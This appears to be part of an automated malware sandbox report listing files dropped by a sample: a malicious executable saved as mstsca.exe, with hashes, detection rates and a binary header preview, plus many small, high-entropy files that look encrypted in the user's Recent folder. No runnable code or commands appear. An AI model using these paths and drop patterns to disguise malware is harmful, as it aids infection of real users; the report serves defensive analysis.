Preview:	0...0........e........o.....J..U........#..-...jT;....F.M..W..O,%k..n..........V'...2.Q....e.<...^.,..<...7'......v.pa{..kQ....p.P;...LO...:..x.^.).QI.g......u....\.2.Z..z...........)...H.@...~..<I.7!.,..+...5.6....[..R..p.N>m...\|....U.^.fIRG.......WQ...&. .W..i.geU...\p......n..)..X..........x5.R....]+;.h..+.bpUY...G...%Y"..>."H%.q.K....r.....S...y^...b...8Q...g....../j.....$....n.W-sY................@.!`X9....*..].>-QMz..OvK>#....L..$.....%.;.<...m..bc.Q.n4.xAwz......2..Z..>..iK....f^......M...).(..`~..1..;\|.R.?..D..j.~N.F.Q...q}.rZ.8.SZ.T..O....."x..+/f.[.6nwl".^=._..>7B..KQ...7%.kH...$..N.iU/.;......fW..;1O...~...;........cQ...1....i...F...8:.`0...f..I.PD.l....7....b..v..(....5M2.=.$..`.C\|.FA>8........0..J...9............5U.......L.....Z.;.Q.....$..Nl.l.....b,^o..B...b.:r.P..;).......f.m...........P'.F...R.r..5C7.l?.w...).;....\.,.H...\|.4.AA.....j...........3...?.du>..hb.X."..?........>...".j.}x.[;+j...1D.....".E..r6yxl1G

C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Download File

Process:	C:\Users\user\AppData\Local\4d01294b-0c42-4616-bfac-c55a56cad4a6\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 87%, Browse
Joe Sandbox View:	Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse Filename: 2llKbb9pR7.exe, Detection: malicious, Browse Filename: CDssd7jEvY.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe, Detection: malicious, Browse Filename: Grkradw6vd.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.docx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845849280085434
Encrypted:	false
SSDEEP:	24:6kx65CSDs7HptJQOxvREtwaHr9E7Hk2dCM1p88Rh5oR400ukpEhiTkbD:6ko5ZDsrptJQimHL9E7HkAj13on05pJq
MD5:	45B640D329026E0A29D1F6FB79A05CB3
SHA1:	6DB21F164D411DD054DB9819E7D2AEB21549F113
SHA-256:	70DB5C85EC7F9CE739DA556B9D46055B4B5ED5B3DAE06ABC25E896BF44753E1D
SHA-512:	D11F7DC5D5B276FBDA0697F7E2C6E27A15D28A98DD910D607A6D5975042A1F0EC505C560F954188FC7B7F645B7308FDC78A4A9701EA0B7EF6906A88E0BF06D51
Malicious:	false
Preview:	MXPXC.+\.@..>.H.oE./. A.f..~....*...z.gNT.cZ..c.W....sq@..m..+Q..B.9c(...+xK...~..._.x.9f..;...O.,...Md,S6.}p..NR..".......N......j<rI...@I.X.}...\.$K:=......%~J.kAA... .....e/.f.......t(\|.y...&..pX$....p[..<$ ./.........)5[.U...N..T..........Adp..Qe.8M.2....v.D.(..].(...d.!.{......$.i....X\e^h.@#.A.Z.u.]3".$...&.s...{4p.)P.Y.X...3..-:@.PE.&e.R..^.n....L...Y.@..&Z.1C...v;..s..\..8Sq..fJ[......]4.,`....].I....BL...2.l...1x..i....c#.Y.~@........,..E..o.......d@$?..e.=.cS..&. ...!;...u....i..v.....U{..u5...\.-.@..K..<.R.<O.Q\|.".fB.b.3...]....<.K...p.tt.kiu.eE.2s..N;.G......2...A<&.h.[../f4p....SQ...g.QW...{F.o(ikdh.D..............z.`.......n.........Z.....,jc....?.j.U$..k....P.....O`....JU].f.........j.o......^.R-.Ye6..u.l.T.X.[_.....Y..^...g......NZZ......B:.p5..R..."..#.d1..pO....,p.O....t..f.#...+&#....SU...J.5o..D...r.!-.2.,.,........UD.k....o.B!`9..6...}v.&ct......~.5....\|n....b..y....V../..R....'.4Q..Nv..6.&.....N....&r.....?

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\MXPXCVPDVN.pdf

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841802569480034
Encrypted:	false
SSDEEP:	24:lri73V+Co7dCo/wj2vs42l1snfA+jM6VB50Yt02O1WJCUHEa5j2iTkbD:dAV+XKj2vsLknfAxM0cQWJCUHEuziD
MD5:	475658D9093F214630AEF03E8F634118
SHA1:	F656E61FA4BBCC238C0588E227209840A20EA8D4
SHA-256:	3630C40A396F69754765C53255332A9B0A3B84204E2C04334130D8B0F3DC7FA6
SHA-512:	A237FBB1DD4F58B515A4EFCA5B9339ADBBCC2E8F6C0DB29B1257C064C405E42BEE371A8E7F4A93C647B21DB5820306EAB43BB2A608EC196DBA6268010EAC1D77
Malicious:	false
Preview:	MXPXCC.M.m....H.>DA.Cd..yC....f.2 ......V...]m......G..kL.I^....o..A..&..D$.>w........W.Fqz..T..X.Jy..LWY.........Jd..... &.&t;P...1..s...I.,....I.$..9l..d.3E.tj.M....0.p..4.d).I......Y9G............I..........2I'.(L..9I..\|".;X....../.9.Tq< .._.....m+"..6.c..I.(....G[........^.aC].f.....L\|.....{..<f.:..S^....z.....QAx.[,.F.Z.v..<f...`sU.(.,f...\|.....b.......pdC.b....X..."A.fd...GL._wPz../18...(5.4p..D...,....8[...w..=..[)..LB1..~.$.?.N.L.2,..%...-=U[.j7......$q....a3..0.N.d.c..@C.d<..n....dI8^.X..p...=. .y:..v.1.V..$.h.o....Eu...-.[...F,L.@`U.x..<@al..A.@JKn..~xSV..b<.m.W.."[..id.D.....`._u.bO,.._.....BX.A._R....}hl.@:..L...0..X.t.C9n.o_<...........N.ki.f....J......>.B.6..j8.........^.7]yP.......\.(i.e....=FerRf....2......r..@m/7.k.6f.....9..M.......0.XH.,....8A..M............s.J..u.u.?S>....k.^..r./. ..}:SL.....T.1.d.J.2...rI/X?l,.OS0?<.5..wv..V.....P ..i.}`./....E.X.!+!.........=..f..T.7.r.V.!.C4..V=<E..n............#.....b..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.mp3

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8443288911929505
Encrypted:	false
SSDEEP:	24:gCbpCgfFx2bpuDpe2mpzXQ0zbct3t//EYXr/P7usHG/xnSiTkbD:gCB2ceT60Mt3pMYXr/nGtiD
MD5:	20452251F0EC5A9F75BCC3057D46E425
SHA1:	EE4B4CAB911CFFB9054EA5CB319DD8BBD4C4EA3B
SHA-256:	845AB66A2E9DF72FD505A4865A1ADEB6717FF19DC591F878D18C0D6D411C938F
SHA-512:	06F33D1EF3DBAE67C1BC92CAB382FC73384CF0EF45C0EBE6C2850A452B313BFCEF186D3ACE2648470C01979A53FD9220C7BAA807100CC00ECF6EA5CEA408A9D0
Malicious:	false
Preview:	NEBFQ.(1S...c.TM.0.R..5.@.:.Iv...>..y.}.iz.....n..?'T.__.O.P.y...P.r.G..J..]..../.....AH2...dA.sE....v..X....W.;....{..8[ Wc....ZtU....;......OCbg...KS<.o...G...tC.J.......(..c.j..Iu.!.!.!...s.[.z....1X..Z.}.v.e....Z.../.5K.`....Sa...!..\|....=...............PS...5.r{5..t..-I..f.<._5K_...#..Xp..1.Rm.A.R...k..#R.X'.L..K.-.....IN=..@0.G.#.._."x.0...K..C..t........3:.%....i.....V.....c5..V.34.9&..)@..!..H...].M...._.C.}....Mv.N'..[.....B}ks{......:,...7..P....1...yT...@.{.a..'2eg..X.C.d..4.G..4.....O..q....~$=m....@A.6:....a,\.,.J.G.m#.t..........!7F.j..@.DK.@....z...A..#.}..g..Ml........W=.......O.j.O... ...6x0....)E"..L.!,;..oY...._....p....[..3.Y.x..>1..R.BB..c\|a.6.r...F..B..}. nR.........w...<.nAL..3......%....?...[S.w.ALC..."..r..c...i.7YH.6...;..A....uEC..=.{..jx.(..F.R.....j..........#.h.......d....q.........x...v.....y..V.2..>...^[..)..h.N=.....a..ltX}........'..Sn2g8.x.99...Qj..[..:.#..p._..W.Y...B.]"M..LpR.O=Kt...'....>.s'.p H

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.pdf

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846336764666039
Encrypted:	false
SSDEEP:	24:EntsUfuWOOFaVHRHObJmq/oxqZU0Fkm4M8ob+hAZenZiTkbD:EtsO4BRHqjkv0m21b+N4iD
MD5:	C861DC9828409BBA7DBCD011042FC0DA
SHA1:	CC5A5A99014E47A2399CFE2B42582028400892EA
SHA-256:	D9E6547F3DF7D3F8EEF405A846353127AC6FF0DDC19754C57B9F9B581218B8F0
SHA-512:	C75D6AE7058F60E1CF8B54BD4DAEAD00C7670FD96EEB2AD74CF51E9615931F0EC566BFF597490BEB8CFBB043061B1683F8B474D4CE25C433B9C2AAE9B5E7D405
Malicious:	false
Preview:	NEBFQ....W\|.+.f...3m....5.....>..!d1?.+.u...l.....[....~Q.RP:.....)...4.A:O.........h`+t..{...K..e'......X...>c..?.]d...((.....67...WL.\......c......s-.r./U..`.'..t6-'...qA.}.L..x.v..\.>.Kz.z8..........k.... ....T.a.%.;g.5.zF~.......R....M.K..y.89....$..]A.......V4-/_.A..ai_..S\.h.+.`.)U.f.)..f{g....A......wV{.....r..C`.h......`P....Al...q..0..qZ......l...\|.yo..$.....[........,.tW...n..L$.qR...s@...o...&...\|V.{17..N..../.=.V...v7... ....JQ....iz..1c. .QD..g.g...K.l..N.......).`.l6....?...\|/........3[.:.u.I2f<..u_.,%J5......./?.........v$....!pk...+,.I...0{GEZa...Y..]..V..x.....&...g.7..^.H.{....:.R....^.g......oU..,..p...e.xtX...~`-I.MY.....#S.V.-.VS;..R.].,..f....z("..^0@3..'6.({..z<eb .C.S...t...y6..TT..x....`....x...m${.../.Gu..H.@2.-.kJ.^..H..KU.....N...IN.:_IU.:.C.....^..........Pd..>..y....n..%.q."ceSYjw.....F..,8H.E...4.....&B.&e..k.wF.^....p.&..D7.......-.4)...9...(...dav..dIovZw.XVt...........e......9.....4}.....NJk.sIix`

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NEBFQQYWPS.xlsx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8406683550286465
Encrypted:	false
SSDEEP:	24:QKeXn4yFZXVhUAtouqWv3SB7z56vftBh35rcuXSfZpJ21wGQiTkbD:QKyRZlhbqo3y7FEtBhJxXoZpyiD
MD5:	1A08747444CEEE45B95321BC9F502696
SHA1:	4C66CBBB092D59470A87EC0C4677DF160E63DAA2
SHA-256:	B2929E20666A7761E2F713B47E13DED443D07FDB83413A2492CDE1403575FAD7
SHA-512:	5DC29D40F0076395E1D30F7E77C01937213C96E6B8416322CC9B1E5A273436B6F3432B369986E1A66E133090999279036FE62194645808681A65A6D8FA5B5B2B
Malicious:	false
Preview:	NEBFQ.A.d..#4..dM`.Cl. ......r_+......-~B...7"..e!xx...1..!;.z.W.......7...'..HVk......NQ.n\|....7...k..........."m..5....=......[\.U........o..<aW..4..>o.7.a2."'}pf;...s..=..1.j.~9...b.~..j..(!.oz..;........%.P...n.?.......]..R.....&.y...H..cr.U.2.H.6...hE..T.F..B....$.E.d....C.IN.^..9.......7j.6_.S.B..S...8.......7..Q..@..#84...{.\|Oj..Z.....@-......[...eH.....m35....y..d.T.Y..V@.lj[..Q.X.......<{.\.o....F.i.Y..>R..z...?W...].........F._.A.IkW%...C..k-....wk)d.w."......3UmM.q..G6.K.xp_.g....]5'..]..`...c.5h..y.}..W...s...#.z..].=...u.C....Q.MJ.{9...#....0.'...;...^.......J..x...6...q.Z..a.......V..ib...,C6..N...a...m.._.:....[..WU...mB.&....g.1...,-..z$...#..~7...R....,...U..^...:%i..r..)....W...]S].yT...0r.....q.4..QR..{.UE%E..=n-..x..e......D.p.....N...x.....4.J..#..i'..n..7~X.1e}.......~h..V.c....q.{.e15.......H....z..........\|....]2D<...}....0V...T@.d.E.M.........k.t*..CI$.Go.).m.W.@.]YFa..c...&{{..j.:.j...X..0....<.[.S.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840185346489044
Encrypted:	false
SSDEEP:	24:F7KiCZMkq0naT12eK6SUTIOcCgqm9J7fYl1ONUh4N8kZdGOP2AcDTBC3CPVW6iTW:F79C5qfTsevEOc2E7f+cx/7PsDFCS+iD
MD5:	6CF8101CDE2404A7C452E8294A3FFD1E
SHA1:	E8A4C81A96C173B41D652262746913F8C432D45F
SHA-256:	3321F97D5F04CE930D0952E2A7AEE4AEC30DCE22F4A5203A1D7CB8E6E7837E89
SHA-512:	B1DF13372D20DBBE206F5704A5B9AA741174B49E40598776C3D5A6F3239B73F9306DBF2180BA7457C8B56CB21571260BEAB3879C422E91E1F0D51B6E242AC08B
Malicious:	false
Preview:	NVWZA.aj.F..5&.W...s.....c....6.].}....H..D@/.....B.)T..l.GS..}..;..@i.......un+.y0.....VW..X ....$z.....S. .....Q..........d=.....\|....y!.F.p.F\|a..VDK.7.."s.e..N.>s.......Z.d.....].@.h...&.e.Ld.U..Y.Ko.Tj.h...uJ\....!..=..5...[......I.d..5..4.%..A..1.?Q..@.@......t...../.tS.@........C.i...F...\|,..._....[.\.n.._)AZQ..X.=...Eo.#@.%..!..T&<#sdp....;.4.F..@...~p..8,...S...t.........%.........Uo....h I.8+t..k.t:o......B\.y`+..H.A.D..9WN.......e5...[...L.Z3...."&.f..}r.i..hd..Fd.`.,X.,EqA...6.+.+...ho.E..sj......+.1;.o9..U.H..f..>..6z.2..g./I.&..>>-.".."".....W._.o.A.... .C.p..0..C......w=.......fM../fa.J.&.e.....bO....A~.q...........%.c..f.]zS6..M.}u..O.ag...`...t.F`..LBL.x.S.sY..]..U...9..\|_b...=..wx_.d]..n....3@mWSe..\.+.kC2.F..r.0L....W...o..Q \..........cv...w.c{e.'3@.0..m....W..;`.3Q04o.\|.. ..q.....).....2%...\.DJ`/..F....U.....1*.....i.#.w..H..o..<$.6..rO6].s.<...po.g......(..KQ..Q^.Qm^..C.."H0.q.mp.....$Na.{ts...E..(..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.mp3

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.843470193158308
Encrypted:	false
SSDEEP:	24:FnWFm92fe28ZMcgXoQYGLy/zTuvUK5k8QEOXLiRJ3RiTkbD:FWcs8uCgQud55AL+3wiD
MD5:	A41094F04D3B3FE0F8133C6AF7E5CC63
SHA1:	3745313DBCFE906711D63BD20B667DA3B0049C10
SHA-256:	C45AF9D406750769648B2D6352D59A8D7AB388DA6AF29899BFB75F55FA2D941B
SHA-512:	6A78A5B604E63788179F399AE0EB3D4AF95BC22AF59EB20AEFFA7F4B230CC77F625625B25F35F9B92D0F49E98BAE933A1077668418244E93982181A88B0712CF
Malicious:	false
Preview:	NVWZAE.V5...Q.!7........Q{.st..s.J.:@..$He[w.B....`..r3 ..Z..v..'.&.s.B.n;>Q<.A.Mjs.A..-X5......eF.{.c...i...mP...z...t.U..3.}.80.Z.J..>h..U.+/..c.6..MJ...h..].:...r..%.8...3..F....M.$>.....,....6.bL....P.nF1}...}.9.I...G.s.Yk$...P.........Q.C...Y.^'.......f..ty....E.?....!aC...&_..Cj..^'.'.L..A.r.0q.:..A@.........%\|....i\|re...K.X.r.....lR..f...].......>.{.Ae.....g....D...sZ.A...cc.T./.M...L...cx.\|..L.. e.x.../%.h.X."...(Gc...t.&....]H`...Yhn{....P.....H.Ho.K$...]..i...........r.'T.i.xF2...$.-.b..,._.6.\|.1...9.b.S.....L..].`..E.5.$.Wv.....&.=L....j..C,...?2+.D[....d.....i./...o..A.S,U...JP.T"..F.`.....o(.....TE....D..3..P.. 3 .....t....b....].a.M~.P.oD.Ag.D...Q....@q.k./......r.i..Z.S{".R.wKy:K}.....C.8.7K.m..!.z#.\....B5.,...R.R1Q....d....!.@.7.....t. ..D8.^.s.p".A*\|.qk....dF.....y..&..5T..TU....N.`.....X....Fz.NU.{..~......C)E.vE0...M.r/.t ..5.........6....4.(..R.v.7;...3..88...p......A{lk..-.2n..........3...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.826990445717508
Encrypted:	false
SSDEEP:	24:Fx4tfF0kH3jzqgIF3/YFmRPnBXcbr3vFMIe+N4XJK0Jem8ViTkbD:FxsFHH3j5IFBV5cvyIe+N4XESe9siD
MD5:	A3E98577EEEA8F7F3577BAA4A9AB5278
SHA1:	63AD5CCF9CD98FA4391D69497897A34CC0F66FB6
SHA-256:	5CBE907D5DA1A4C0F8CED7B331149406B87CA7966E3CF8C33342C7D848CF05CF
SHA-512:	0FE95B6F0A8C7C1385762B89C84A2A9452C7C8F339F1E1EF75F2DD39D25243C4EF27C705064A1E5898A967197EAD35CD98187B4A3A71435863F9A8FAAE5555CC
Malicious:	false
Preview:	NVWZA;.pX......0..@.8..d'1..}..Y.U.i. ..72...F...A../.._..2.b...,~..W_n....q.F.O.3=.w..<...\..c.)@.@,.'.]....w..z.R..o..X{.X....=&.i}O.;.YB.ypJ......q.F-.`.I&8..}8..-4\Q.R{/aR.FO.R<..w.m...d@.$..d..2m..$k...e/..0J"FI..G.n..b.l(.6%..9..#.M.~...iNd.iHJ......M`.!.>..9sL%....f..1..g,.......B...G.u..]...-.D+.Q..V.u._,.$..G...........-..c2.k.=....=..A]...e... .J..?]..A.PD]:.$.P.u...n.u.'$...o.H...0....#+8T..og.a+qe.f..J..6.l\|..b.D.n=....!.z..%7;=....^.#.O.R4....]..m..sl.......4'HmhY+..j.!N..N..q.1.Y..Q_.....3(..R...I..j....Q.... I.........}..z.A(+KV..T.(2.0.........I.&E0\|..{.6...$.=O.i.5a.B...5RT...\A..qM....>.v.)5....Q.S^D.<>.^6...e...b2Lm...NH...Q'.\|../.m.P..O.H.....2]..[.... .@.(....I..x.{.l..:.F.(..P......pq.h.....<.R...!..;.Z;..\|R.6O..&>X.6\...7...D]..KJM..1.+..5..U.&04[.=.........=.F;.l~............v7.(0.U...x-....l.&.).."..Jf...z...0&.$...j.e..-.."..KWv/.)H...'.B.._..5.....m}$D...xmx...H...F..V..(Qm$..X...k.,..@?...t....l-.41~v.y....A.N.z^.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.jpg

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.845950108369369
Encrypted:	false
SSDEEP:	24:6CI7Iw4T8h/M5zgL/5UaotNOKGcleNC1oWmqbru8adi/lwEIsrZiTkbD:6L7Irtz3c04NtWlMdil4iD
MD5:	478E726BCFE8D2DAB8D345907F2930F9
SHA1:	45C1E97E86C36F4D2260CCB0408ACED65EF1DF32
SHA-256:	55F47D4C665723057F58A06134F6B46EF6ED08FCD5BF46BC3ED3EC004C3B1351
SHA-512:	C581853B195BBAC1AA6360F7C91840F2DC30FC4A0FB80A7841E347DA2A5B215234ECF26C968DBA730C798CAC7E2AF72ECFCB795B75AAB62091A3920FB7ED74E8
Malicious:	false
Preview:	PWCCA..(E#."...k...K&YS?..`.V..E.....G.2^}I..K.. .)..%0.........u.&w`p..:j.}.....(.@..L.K%...^+.........F../g..O.E..h...V....(......Z2.....1H...r.}.\|.f.. .j.Nq.C.G...I[..<.m.....n.Y...>..Kr_..]...xG.A...C..h.z.......T..p....q...D.l"j;K3...,.j&K..m-..g.,.71....#.uAp1y.a...K.......b..a.]..ozA........d.US..p....C>G{52,L.z....(.7..KM..\_....2.EY....{>.Qo..Bn.S....P^....[....F..=O<_..j...qp...4.\|.....#....O..R....1v3nACu.9.E.r:`.....,..P.O...3.[...l%..S.@..u...j.....+,..s....9lE.....h...K..}.j@....\|.......C,..1j<d.oe....6"jy.\x...Y.W..a.@...U.D..)..(z..h.sq..)G4P.;o..br.8F...ok...O...i.f@..>....Mi.J...Y....(.>.7.9.....v3./..~..g.....;.]....>5P.Y.U.~....<}f...3.`',..W..US$-<...C......7...T....#....F...^Q..fP.H...7...!.r+.J;2.v.%..l.....hMl..\........?:(.\|.....7_.C.>...4..V.7...^.#DZ....~...'rd.......&.da.2;...#..]8K...B..O.....^..Ba..R........?...f.....f...y ..z......r}..I.~1.)X..M..v........o..B7l.Fpp....5l.V.l....c...x.6...w..."Q

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\PWCCAWLGRE.mp3

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.844221277175386
Encrypted:	false
SSDEEP:	24:P4RGRigkzGUmEYUD3ErLUOH5S8mhP+RNhBaxgV952p40IsPTgSj6dkoiTkbD:PAGuGO3M5Hw8mEBk895S40IsPTgO5iD
MD5:	C1FC5E83E4E0D153DFCB31EE13B3E310
SHA1:	7C9E334655333C1EC423042C17A82E9148BD0053
SHA-256:	BF1CBA8CAF5250385B8864817CDE1F23BBB5209E71C14FF840A49F38A2544DCA
SHA-512:	FDCD9AE5C694183083DF0E59A5D883B6217AE0ACC15ECE8262447C72BDCB4FDA6F7690E3DB84E558F41CC46333A0F0C4299E1B15A27D2DDF5A876D22EF51AC51
Malicious:	false
Preview:	PWCCA........[.......R#_..:..@.. .p."O..B..Cw.0./..{4..28.....$..&....&.d,.....h..H.&..M.z..c.....0.8.........bLWQD+0.O:J.G./.U...}......WU....0...52......6{....:.......slX.&}..0.tv....\|.>...q./..l.k._!....bt&.E.BTa...)...uj2....e.....'......,:..%..6...<(E..L67...+....E..!.......P..C..........@`...FLi7..s..W.8\.2.R..m...j.LD..H.4..9...!J......9a.......{.)z...at...n...&..P?<L....)....T'.C..h..m,2..]6FrI.hB..YI..eIaT..F...........t...&!....~.y......` v......R....R.%'u.k...G...+..k-.VZ:..'.}A:P.;....]).B.&......E..#..B......~..R.h]...@=.......yutR..g....,.\|....q..1.g..`:.-1.R.F.L.........'...gFN..2......m.OQ...1...U1..........W1_o/.`&.r..."...=.:\....lr^...P1Z.m....?.....O.:0..c...*L......r}N..dQO...qtD..P..o.(.c.%.z.4FM...a..%.<..n[...j...uK.ZH+.G..{.mO..w1Q....2..^.\|.../)..u...[.9..\|.7........b..D.2.......@.e...".nh);bPS.._.V.Tl..D...n.P..O@".....zU...Z.k.$.G....i..w...Rw.H.........a..j....9.PQS..5p.c..Vl.X.XBk.....X../.b.!.e...L..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8599373391139205
Encrypted:	false
SSDEEP:	24:ULYLGGf5lseUdOQyFY+QR+I9wNcxGY/1tHjPBPhqvVSC3N9a3iiTkbD:zae5lZaOjGxR+I9UcxFtbhr043XiD
MD5:	8B3052BAD049BC1D162CC19FA7EB3C8E
SHA1:	5AA95449896186C2E1F3F8AE47988F1A0B08ECC3
SHA-256:	B6F5974F86F3350D562658E2443328ED35C33087B318D73293A6953A8B48B0E5
SHA-512:	5C084ED3EB9D64BE7585DC3B0678F6EB28FF32F2FFE6DF7A10410B9104C09E7B72A12B686FC6C1B392344B5724D5FCF00B6606B133D56B3AAF74FCD57A58F5A3
Malicious:	false
Preview:	QFAPO.@..-y.....e...j......J...U...V...U.G.....p....cK....O.p.........R.@.#.....p..A.3....{.qL.;.6.CD......)....Or....^cL..5Y-..=.B......d...$.....k+..t`....:g...x...c...........A...~+. _-V....[.#.......?..`..).9n....T9q..,ek....H.C\R.T.P..^..Z.u..)49'...>....l.<6q\|....)D...).&......<.....4oi.....JxN.........u.$.)......W..-D~...._.^I...}.......W.f.\V.N#h?....3...._e2....B...U.....?.\KJyA..z.4...2^.......7~...-"....f'.<.g.L...J."04L.QF..G.A.p....h8.!...B.p..#T.~..U../..2.A.....F.JQN..R.HA....i.V.k.-c./.......-m0..w....Q...O..A3.rc./c..q..t...........E.D...=Loz.@..8...OmC..3..6Op......%.dj&.&#[.~..u.....Q....\|eB.......=m..Tb.^.....]Zro.4%..ZCF.5..^.....$...0j...tK#[3..S..v..........Z......I.R..<.......Kb..`.F..d...WJ.U......3..h..#.`.V.....v....;g..~k.Br...^A.<......4h....R..pWC..h/..\.w&...M....~.}.[...\|.p_.0[..j....C+<\|....+..2....a.BT....n.!.#..d?.'K.c...'.....D..@I...<..........E....Goe(_.=.o6...c.=m.s....,.c8S...P.w.K..L.....~n...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QMJJVFJDVI.mp3

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854111458679547
Encrypted:	false
SSDEEP:	24:wsd7pm8u1pdsXlW4YDBTVTRQEctbzp+WG5JK1sX0g4r60SCgoIGeCmH5WZiTkbD:hm8jJYDBTpqzzQWC01sX0xtSxLGsH5Fq
MD5:	8FB70FAD9A72FEB49D9A942AF9B8D5BA
SHA1:	EB4E59ED4664C3A91BB48CA33837078B5E5A9DA2
SHA-256:	4DE340E932F0068D0DBE0DB68E67F497EE5ABCB122FA178BADC8DC5C5CC32B8C
SHA-512:	7BFED6A643E80F028442C82B522BEA5C479263AEC46A2AA91E8B09BA358245050C4357BA2B3AB8E7D3D078FB490AE67D562CA89E6CCC29BA12B0E77834DFE766
Malicious:	false
Preview:	QMJJV.2........J.N.\.B...4..aF..o0......O...}p\#z......l...$k..n....4I....y....o.[.......I.&.......)..l...0..6....Jk..C.I.6.."y...^.)Z..\|.\|1i&$.6..n...O.N=.mN6..v.....Y.N..+..S.J...zZ_.Bq'......N..#>!#)......d...K.....^..bE."XseOc~..oC.!.ux..f(..4..;epIhT.x.I..6S.....}.N..Nb..1.....=............9\|...&...4.......\|.u.2..L....@.bYE..+^......Z...\i.O<.1.s.....S......a....#V..A......N...2.`.S...8.-b....os_.H..o.t....#;.9..4..G]...X.\./....~..Y.........m%..jwz...F....pi2..8;.o.bF+.m.......\|A.z...%>.kx....'~...N.c.Ao.H...</.f. .....[.0.J%............ON...L..../p..........^-.goJ..S..%.-{.'.J.n9vt`m...:...x....G........:{^...(....).v....F......'^X..?v..k...GJ.........U.......G12..D..`..Y!...b!F`.T..w....."..3.W..a..A.3..T..../ .2..TC.X.gml.OV.......j...3&..:_pc.sZt2....I.4"%..n&R0&. .w{b...wW.`..Y"..a'...g+Kr..1{.B...z`x^z.F....n..#G.p6...d%~c..4.)nv.....GYZ.#...s.W.../...U..8.@.r./.',F'.=....Y...\..=.w..g....LZ....U."-.L....Z..uT......#].....NN.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\QNCYCDFIJJ.png

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.888915103180906
Encrypted:	false
SSDEEP:	24:3FR6ogTfFkUpEkhlQI1TTd1WurVo8FLpYEw348j8SY76DOBO4mPtBFNRIWiTkbD:3FR6jPuk3dTd1RoSiX49SFDQONPhNRIG
MD5:	6DD21C3E77019913CE5F1A3CA41E4579
SHA1:	DDF603B7B63D0E3EE7ADB699464F3E31F1F6CEF7
SHA-256:	753CA8CB3E24EE39E9BF5C89E00FFBC79781056A7CB0A8995D570B086D7C3DD7
SHA-512:	3DD854737EF35AB08483D750100614D6D677DEE258B660C904EEEBA8DA6E4F57629C728F05781E48665180584607244B702502C15DA800C582C2FE67E608403D
Malicious:	false
